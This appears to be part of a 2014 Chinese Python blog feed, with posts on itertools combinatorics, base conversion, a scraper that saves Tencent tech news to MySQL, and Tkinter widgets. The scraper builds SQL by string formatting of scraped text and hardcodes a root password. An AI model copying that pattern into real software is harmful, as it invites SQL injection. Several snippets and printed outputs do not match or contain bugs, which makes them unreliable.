<p>比如随机抛两个或三个骰子,列出所有的可能:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">)[</span><span class="mi">1</span><span class="p">:]</span>
<span class="k">print</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">(</span><span class="n">a</span><span class="p">))</span> <span class="c1">#一个骰子
</span> <span class="k">print</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">a</span><span class="p">))</span> <span class="c1"># 两个骰子</span></code></pre></figure>
<p><code>
>>> print list(itertools.product(a, a))
[(1, 1), (1, 2), (1, 3), (1, 4), (1, 5), (1, 6), (2, 1), (2, 2), (2, 3), (2, 4), (2, 5), (2, 6), (3, 1), (3, 2), (3, 3), (3, 4), (3, 5), (3, 6), (4, 1), (4, 2), (4, 3), (4, 4), (4, 5), (4, 6), (5, 1), (5, 2), (5, 3), (5, 4), (5, 5), (5, 6), (6, 1), (6, 2), (6, 3), (6, 4), (6, 5), (6, 6)]
</code>
<!--more-->
#**2,组合 **</p>
<p>比如随机抛10个女孩中挑3个约会,多少种情况</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">)[</span><span class="mi">1</span><span class="p">:]</span> <span class="c1">#没必要是数字~
</span> <span class="k">print</span> <span class="n">itertools</span><span class="p">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">print</span> <span class="nb">len</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">3</span><span class="p">))</span></code></pre></figure>
<p><code>
>>> print list(itertools.combinations(a, 3))
[(1, 2, 3), (1, 2, 4), (1, 2, 5), (1, 2, 6), (1, 3, 4), (1, 3, 5), (1, 3, 6), (1, 4, 5), (1, 4, 6), (1, 5, 6), (2, 3, 4), (2, 3, 5), (2, 3, 6), (2, 4, 5), (2, 4, 6), (2, 5, 6), (3, 4, 5), (3, 4, 6), (3, 5, 6), (4, 5, 6)]
>>>
</code>
#<strong>3,有序的抽样</strong></p>
<p>上面那种情况是无序的组合,比如10个女孩挑3个,安排好顺序约会,那就得 10!/(10 - 3)!</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="n">a</span> <span class="o">=</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">)[</span><span class="mi">1</span><span class="p">:]</span>
<span class="k">print</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">permutations</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">3</span><span class="p">))</span></code></pre></figure>
<p><code>
>>> print list(itertools.permutations(a, 3))
[(1, 2, 3), (1, 2, 4), (1, 2, 5), (1, 2, 6), (1, 3, 2), (1, 3, 4), (1, 3, 5), (1, 3, 6), (1, 4, 2), (1, 4, 3), (1, 4, 5), (1, 4, 6), (1, 5, 2), (1, 5, 3), (1, 5, 4), (1, 5, 6), (1, 6, 2), (1, 6, 3), (1, 6, 4), (1, 6, 5), (2, 1, 3), (2, 1, 4), (2, 1, 5), (2, 1, 6), (2, 3, 1), (2, 3, 4), (2, 3, 5), (2, 3, 6), (2, 4, 1), (2, 4, 3), (2, 4, 5), (2, 4, 6), (2, 5, 1), (2, 5, 3), (2, 5, 4), (2, 5, 6), (2, 6, 1), (2, 6, 3), (2, 6, 4), (2, 6, 5), (3, 1, 2), (3, 1, 4), (3, 1, 5), (3, 1, 6), (3, 2, 1), (3, 2, 4), (3, 2, 5), (3, 2, 6), (3, 4, 1), (3, 4, 2), (3, 4, 5), (3, 4, 6), (3, 5, 1), (3, 5, 2), (3, 5, 4), (3, 5, 6), (3, 6, 1), (3, 6, 2), (3, 6, 4), (3, 6, 5), (4, 1, 2), (4, 1, 3), (4, 1, 5), (4, 1, 6), (4, 2, 1), (4, 2, 3), (4, 2, 5), (4, 2, 6), (4, 3, 1), (4, 3, 2), (4, 3, 5), (4, 3, 6), (4, 5, 1), (4, 5, 2), (4, 5, 3), (4, 5, 6), (4, 6, 1), (4, 6, 2), (4, 6, 3), (4, 6, 5), (5, 1, 2), (5, 1, 3), (5, 1, 4), (5, 1, 6), (5, 2, 1), (5, 2, 3), (5, 2, 4), (5, 2, 6), (5, 3, 1), (5, 3, 2), (5, 3, 4), (5, 3, 6), (5, 4, 1), (5, 4, 2), (5, 4, 3), (5, 4, 6), (5, 6, 1), (5, 6, 2), (5, 6, 3), (5, 6, 4), (6, 1, 2), (6, 1, 3), (6, 1, 4), (6, 1, 5), (6, 2, 1), (6, 2, 3), (6, 2, 4), (6, 2, 5), (6, 3, 1), (6, 3, 2), (6, 3, 4), (6, 3, 5), (6, 4, 1), (6, 4, 2), (6, 4, 3), (6, 4, 5), (6, 5, 1), (6, 5, 2), (6, 5, 3), (6, 5, 4)]
</code>
综上所述:</p>
<p><strong>排列—itertools.product()</strong></p>
<p><strong>组合—itertools.combinations()</strong></p>
<p><strong>阶乘—factorial(num)</strong></p>
十进制转化成其他进制
2014-02-08T00:00:00+00:00
http://fish267.github.io/2014/02/08/scale-convert
<p>是按正常的手算流程,取余数得来,使用了一个递归,<strong>代码如下:</strong></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">dic_alpha</span> <span class="o">=</span> <span class="p">{</span><span class="mi">10</span><span class="p">:</span> <span class="s">'A'</span><span class="p">,</span> <span class="mi">11</span><span class="p">:</span> <span class="s">'B'</span><span class="p">,</span> <span class="mi">12</span><span class="p">:</span> <span class="s">'C'</span><span class="p">,</span> <span class="mi">13</span><span class="p">:</span> <span class="s">'D'</span><span class="p">,</span> <span class="mi">14</span><span class="p">:</span> <span class="s">'E'</span><span class="p">,</span> <span class="mi">15</span><span class="p">:</span> <span class="s">'F'</span> <span class="p">}</span>
<span class="n">converted_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">convert</span><span class="p">(</span><span class="n">num</span><span class="p">,</span> <span class="n">base</span><span class="p">):</span>
<span class="n">num</span> <span class="o">=</span> <span class="nb">abs</span><span class="p">(</span><span class="n">num</span><span class="p">)</span>
<span class="n">remainder</span> <span class="o">=</span> <span class="n">num</span> <span class="o">%</span> <span class="n">base</span>
<span class="k">if</span> <span class="n">num</span> <span class="o">>=</span> <span class="n">base</span><span class="p">:</span>
<span class="n">convert</span><span class="p">(</span><span class="n">num</span> <span class="o">/</span> <span class="n">base</span><span class="p">,</span> <span class="n">base</span><span class="p">)</span>
<span class="n">converted_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">remainder</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">format_print</span><span class="p">(</span><span class="n">num</span><span class="p">,</span> <span class="n">base</span><span class="p">):</span>
<span class="k">if</span> <span class="n">num</span> <span class="o"><</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">result</span> <span class="o">=</span> <span class="s">'-'</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">result</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">convert</span><span class="p">(</span><span class="n">num</span><span class="p">,</span> <span class="n">base</span><span class="p">)</span>
<span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">converted_list</span><span class="p">:</span>
<span class="k">if</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">dic_alpha</span><span class="p">.</span><span class="n">keys</span><span class="p">():</span>
<span class="n">item</span> <span class="o">=</span> <span class="n">dic</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
<span class="n">result</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
<span class="k">print</span> <span class="n">result</span></code></pre></figure>
Python 抓取新闻,放到数据库
2014-02-08T00:00:00+00:00
http://fish267.github.io/2014/02/08/craw-news
<p>使用的BeautifulSoup库,比较小白,对于中文,有的页面需要添加<code>from_encoding = "GBK"</code>, 还有数据库的各种转码,比如<code>con.escape_string()</code>,这个问题卡了一下午+一晚上,还是在StackOverFlow上撞到的解决方案, 以<a href="http://tech.qq.com">腾讯新闻</a>为例:
<!--more--></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"> <span class="c1"># coding: utf-8
</span> <span class="c1"># 文章信息保存到details_list中,包括标题,作者,发布时间,摘要,内容, 原地址
</span> <span class="c1"># /usr/bin/python
</span> <span class="c1"># author: fish
</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="nb">reload</span><span class="p">(</span><span class="n">sys</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="n">setdefaultencoding</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
<span class="kn">import</span> <span class="nn">urllib2</span>
<span class="kn">import</span> <span class="nn">urllib</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">MySQLdb</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">'http://tech.qq.com'</span>
<span class="n">socket</span><span class="p">.</span><span class="n">setdefaulttimeout</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">urllib</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">),</span> <span class="n">from_encoding</span> <span class="o">=</span> <span class="s">'GBK'</span><span class="p">)</span>
<span class="c1">#print soup
</span> <span class="n">href_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">title</span> <span class="o">=</span> <span class="n">soup</span><span class="p">.</span><span class="n">find_all</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="s">'Q-tpListInner'</span><span class="p">)</span>
<span class="c1">#print title
</span> <span class="k">for</span> <span class="n">detail_href</span> <span class="ow">in</span> <span class="n">title</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">href_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">detail_href</span><span class="p">.</span><span class="n">a</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'href'</span><span class="p">))</span>
<span class="k">except</span><span class="p">:</span>
<span class="nb">AttributeError</span>
<span class="n">details_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="c1">#print href_list
</span> <span class="s">'''connect to mysql'''</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">con</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="n">host</span> <span class="o">=</span> <span class="s">'localhost'</span><span class="p">,</span> <span class="n">user</span> <span class="o">=</span> <span class="s">'root'</span><span class="p">,</span> <span class="n">passwd</span> <span class="o">=</span> <span class="s">'baidusql'</span><span class="p">,</span> <span class="n">charset</span> <span class="o">=</span> <span class="s">'utf8'</span><span class="p">)</span>
<span class="n">con</span><span class="p">.</span><span class="n">select_db</span><span class="p">(</span><span class="s">'ali_app'</span><span class="p">)</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
<span class="k">for</span> <span class="n">href</span> <span class="ow">in</span> <span class="n">href_list</span><span class="p">:</span>
<span class="n">sub_details_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">detail_soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">urllib</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">href</span><span class="p">).</span><span class="n">read</span><span class="p">(),</span> <span class="n">from_encoding</span> <span class="o">=</span> <span class="s">'GBK'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">href</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">article_title</span> <span class="o">=</span> <span class="n">detail_soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="s">'hd'</span><span class="p">).</span><span class="n">h1</span><span class="p">.</span><span class="n">string</span>
<span class="n">article_pub_date</span> <span class="o">=</span> <span class="n">detail_soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'span'</span><span class="p">,</span> <span class="s">'pubTime'</span><span class="p">).</span><span class="n">string</span>
<span class="n">article_author</span> <span class="o">=</span> <span class="n">detail_soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'span'</span><span class="p">,</span> <span class="s">'auth'</span><span class="p">).</span><span class="n">string</span>
<span class="k">if</span> <span class="nb">str</span><span class="p">(</span><span class="n">article_author</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">article_author</span> <span class="o">=</span> <span class="s">'腾讯科技'</span>
<span class="n">article_abridgement</span> <span class="o">=</span> <span class="n">detail_soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="n">attrs</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'name'</span><span class="p">:</span> <span class="s">'Description'</span>
<span class="p">}).</span><span class="n">get</span><span class="p">(</span><span class="s">'content'</span><span class="p">)</span>
<span class="n">article_contents</span> <span class="o">=</span> <span class="n">detail_soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="nb">id</span> <span class="o">=</span> <span class="s">'Cnt-Main-Article-QQ'</span><span class="p">)</span>
<span class="n">article_source_address</span> <span class="o">=</span> <span class="n">href</span>
<span class="k">if</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">article_contents</span><span class="p">).</span><span class="n">find</span><span class="p">(</span><span class="s">'videoPlayer'</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="ow">or</span> <span class="nb">str</span><span class="p">(</span><span class="n">detail_soup</span><span class="p">).</span><span class="n">find</span><span class="p">(</span><span class="s">'gqMaskshowBT'</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="k">continue</span>
<span class="k">except</span><span class="p">:</span>
<span class="nb">AttributeError</span>
<span class="n">sub_details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">article_title</span><span class="p">)</span>
<span class="n">sub_details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">article_author</span><span class="p">)</span>
<span class="n">sub_details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">article_pub_date</span><span class="p">)</span>
<span class="n">sub_details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">article_source_address</span><span class="p">)</span>
<span class="n">sub_details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">article_abridgement</span><span class="p">)</span>
<span class="n">sub_details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">article_contents</span><span class="p">)</span>
<span class="c1"># cur.execute('drop table if exists QQ_TECH')
</span>
<span class="c1"># cur.execute("insert into QQ_TECH(title, autor, pub_date, source_address, description, content) values(%s, %s, %s, %s, %s, %s)", sub_details_list)
</span> <span class="c1"># cur.execute("insert into QQ_TECH(title, autor ,pub_date, source_address, description, content ) values('fdsaf', 'fds', '发范德萨', 'fdsafdfdksajfwefdsdsa放到', 'fdsafewr3', '范德萨范德萨定时分尸案')")
</span> <span class="c1"># print sub_details_list
</span> <span class="n">cur</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'delete from jr_category where source_address = "%s"'</span> <span class="o">%</span><span class="n">article_source_address</span><span class="p">)</span>
<span class="n">cur</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'delete from jr_content where source_address = "%s"'</span> <span class="o">%</span><span class="n">article_source_address</span><span class="p">)</span>
<span class="n">cur</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'insert into jr_category(sid, title, date, author, source_address) values(3, "%s", "%s", "%s", "%s")'</span> <span class="o">%</span><span class="p">(</span><span class="n">article_title</span><span class="p">,</span> <span class="n">article_pub_date</span><span class="p">,</span> <span class="n">article_author</span><span class="p">,</span> <span class="n">article_source_address</span><span class="p">))</span>
<span class="n">article_contents</span> <span class="o">=</span> <span class="n">con</span><span class="p">.</span><span class="n">escape_string</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">article_contents</span><span class="p">))</span>
<span class="n">cur</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">"insert into jr_content(source_address, description, content) values('%s', '%s', '%s')"</span> <span class="o">%</span><span class="p">(</span><span class="n">article_source_address</span><span class="p">,</span> <span class="n">article_abridgement</span><span class="p">,</span> <span class="n">article_contents</span><span class="p">))</span>
<span class="c1"># content = con.escape_string(str(article_contents))
</span> <span class="c1"># cur.execute('''insert into test2(name) values("%s")''' %content)
</span>
<span class="n">details_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">sub_details_list</span><span class="p">)</span>
<span class="n">con</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
<span class="n">cur</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">con</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span> <span class="n">MySQLdb</span><span class="p">.</span><span class="n">Error</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"Error %d: %s"</span> <span class="o">%</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">e</span><span class="p">.</span><span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span></code></pre></figure>
Tkinter 使用小结
2014-02-08T00:00:00+00:00
http://fish267.github.io/2014/02/08/Tkinter-notes
<p>###很喜欢PyQt的,但是Tkinter作为Python自带的GUI库,还是不得不了解一下,挺简介方便的,一共包含了15个组件:</p>
<ol>
<li>
<p><code>Button</code> 按钮。类似标签,但提供额外的功能,例如鼠标掠过、按下、释放以及键盘操作/事件</p>
</li>
<li>
<p><code>Canvas</code> 画布。提供绘图功能(直线、椭圆、多边形、矩形) ;可以包含图形或位图</p>
</li>
<li>
<p><code>Checkbutton</code> 选择按钮。一组方框,可以选择其中的任意个(类似 HTML 中的 checkbox)</p>
</li>
<li>
<p><code>Entry </code> 文本框。单行文字域,用来收集键盘输入(类似 HTML 中的 text)</p>
</li>
<li>
<p><code>Frame</code> 框架。包含其他组件的纯容器</p>
</li>
<li>
<p><code>Label</code> 标签。用来显示文字或图片</p>
</li>
<li>
<p><code>Listbox</code> 列表框。一个选项列表,用户可以从中选择</p>
</li>
<li>
<p><code>Menu</code> 菜单。点下菜单按钮后弹出的一个选项列表,用户可以从中选择</p>
</li>
<li>
<p><code>Menubutton</code> 菜单按钮。用来包含菜单的组件(有下拉式、层叠式等等)</p>
<p><!--more--></p>
</li>
<li>
<p><code>Message</code> 消息框。类似于标签,但可以显示多行文本</p>
</li>
<li>
<p><code>Radiobutton</code> 单选按钮。一组按钮,其中只有一个可被“按下” (类似 HTML 中的 radio)</p>
</li>
<li>
<p><code>Scale </code> 进度条。线性“滑块”组件,可设定起始值和结束值,会显示当前位置的精确值</p>
</li>
<li>
<p><code>Scrollbar</code> 滚动条。对其支持的组件(文本域、画布、列表框、文本框)提供滚动功能</p>
</li>
<li>
<p><code>Text</code> 文本域。 多行文字区域,可用来收集(或显示)用户输入的文字(类似 HTML 中的 textarea)</p>
</li>
<li>
<p><code>Toplevel</code> 顶级。类似框架,但提供一个独立的窗口容器。</p>
</li>
</ol>
<hr />
<p>写了一点例子,留着查看:</p>
<p>##直接上个图吧,在注释里解释.第一个图:</p>
<p><img src="http://bcs.duapp.com/love67/%2Fa.png?sign=MBO:OsG38oCXSPWgEul2SOX0fBg4:C2pQvkvj6d8VMhDBGcbaVyz%2B2sU%3D" alt="" /></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#coding:utf-8
</span> <span class="kn">from</span> <span class="nn">Tkinter</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="c1"># 创建主窗口
</span> <span class="n">root</span> <span class="o">=</span> <span class="n">Tk</span><span class="p">()</span>
<span class="c1"># 设置主窗口的大小,出现的位置
</span> <span class="n">root</span><span class="p">.</span><span class="n">geometry</span><span class="p">(</span><span class="s">"250x500+400+400"</span><span class="p">)</span>
<span class="c1"># 添加Button, command 绑定行为
</span> <span class="n">button1</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'button1'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'black'</span><span class="p">)</span>
<span class="n">button2</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'quit'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'gray'</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">)</span>
<span class="n">button1</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">button2</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Label
</span> <span class="n">label</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
<span class="n">label</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">Label</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'-'</span> <span class="o">*</span> <span class="mi">80</span><span class="p">))</span>
<span class="n">label</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Canvas,画个图
</span> <span class="n">canvas</span> <span class="o">=</span> <span class="n">Canvas</span><span class="p">(</span><span class="n">bg</span> <span class="o">=</span> <span class="s">'blue'</span><span class="p">)</span>
<span class="n">coord</span> <span class="o">=</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">220</span><span class="p">,</span> <span class="mi">230</span>
<span class="n">canvas</span><span class="p">.</span><span class="n">create_arc</span><span class="p">(</span><span class="n">coord</span><span class="p">,</span> <span class="n">start</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">extent</span> <span class="o">=</span> <span class="mi">333</span><span class="p">,</span> <span class="n">fill</span> <span class="o">=</span> <span class="s">'yellow'</span><span class="p">)</span>
<span class="n">canvas</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">label</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Checkbutton, 就是勾选框
</span> <span class="n">checkbutton1</span> <span class="o">=</span> <span class="n">Checkbutton</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'Python'</span><span class="p">)</span>
<span class="n">checkbutton2</span> <span class="o">=</span> <span class="n">Checkbutton</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'Ruby '</span><span class="p">)</span>
<span class="n">checkbutton3</span> <span class="o">=</span> <span class="n">Checkbutton</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'Lisp '</span><span class="p">)</span>
<span class="n">checkbutton1</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">checkbutton2</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">checkbutton3</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">label</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Entry, 可以输入一行文本
</span> <span class="n">entry</span> <span class="o">=</span> <span class="n">Entry</span><span class="p">(</span><span class="n">root</span><span class="p">)</span>
<span class="n">entry</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">label</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Spinbox
</span> <span class="n">spinbox</span> <span class="o">=</span> <span class="n">Spinbox</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">from_</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">to</span> <span class="o">=</span> <span class="mi">100</span><span class="p">)</span>
<span class="n">spinbox</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">label</span><span class="p">[</span><span class="mi">4</span><span class="p">].</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Listbox, 一个列表箱
</span> <span class="n">listbox</span> <span class="o">=</span> <span class="n">Listbox</span><span class="p">(</span><span class="n">root</span><span class="p">)</span>
<span class="n">listbox</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">'C++'</span><span class="p">)</span>
<span class="n">listbox</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">'Java'</span><span class="p">)</span>
<span class="n">listbox</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s">'php'</span><span class="p">)</span>
<span class="n">listbox</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">mainloop</span><span class="p">()</span></code></pre></figure>
<p>##第二个图:</p>
<p><img src="http://bcs.duapp.com/love67/%2FScreenshot-from-2013-12-17-203314.png?sign=MBO:OsG38oCXSPWgEul2SOX0fBg4:GdM0Vjn8kuFpMYtdJmAjvUsr3vg%3D" alt="" /></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#coding: utf-8
</span> <span class="kn">from</span> <span class="nn">Tkinter</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">tkMessageBox</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">root</span> <span class="o">=</span> <span class="n">Tk</span><span class="p">()</span>
<span class="n">root</span><span class="p">.</span><span class="n">geometry</span><span class="p">(</span><span class="s">"200x200+300+300"</span><span class="p">)</span>
<span class="c1"># add tkMessagebox, just a info window
</span> <span class="k">def</span> <span class="nf">action</span><span class="p">():</span>
<span class="n">tkMessageBox</span><span class="p">.</span><span class="n">showinfo</span><span class="p">(</span><span class="s">'hello, I am title!'</span><span class="p">,</span> <span class="s">'hello, Tkinter!!!!'</span><span class="p">)</span>
<span class="c1"># 这个button绑定的是弹出信息窗
</span> <span class="n">button</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'responce button'</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="n">action</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'blue'</span><span class="p">)</span>
<span class="c1"># 这个button绑定的行为是推出该GUI
</span> <span class="n">quitbutton</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'quitbutton'</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">)</span>
<span class="n">quitbutton</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">button</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">mainloop</span><span class="p">()</span></code></pre></figure>
<p>##图三:</p>
<p><img src="http://bcs.duapp.com/love67/%2Faa.png?sign=MBO:OsG38oCXSPWgEul2SOX0fBg4:kWfcCX1YXybGqw9HK8gY24hGsXo%3D" alt="" /></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#coding: utf-8
</span> <span class="kn">from</span> <span class="nn">Tkinter</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">tkMessageBox</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="n">root</span> <span class="o">=</span> <span class="n">Tk</span><span class="p">()</span>
<span class="n">root</span><span class="p">.</span><span class="n">geometry</span><span class="p">(</span><span class="s">"200x200+300+300"</span><span class="p">)</span>
<span class="c1"># 添加Frame
</span> <span class="c1"># Frame框架像是一个容器,负责安放这一堆部件的位置
</span> <span class="c1"># Frame采用矩形区域布局,并提供这些部件的填充
</span> <span class="c1"># 一个框架也可以作为一个基础类,以实现复杂的构件
</span> <span class="n">frame</span> <span class="o">=</span> <span class="n">Frame</span><span class="p">(</span><span class="n">root</span><span class="p">)</span>
<span class="n">frame</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">bottomframe</span> <span class="o">=</span> <span class="n">Frame</span><span class="p">(</span><span class="n">root</span><span class="p">)</span>
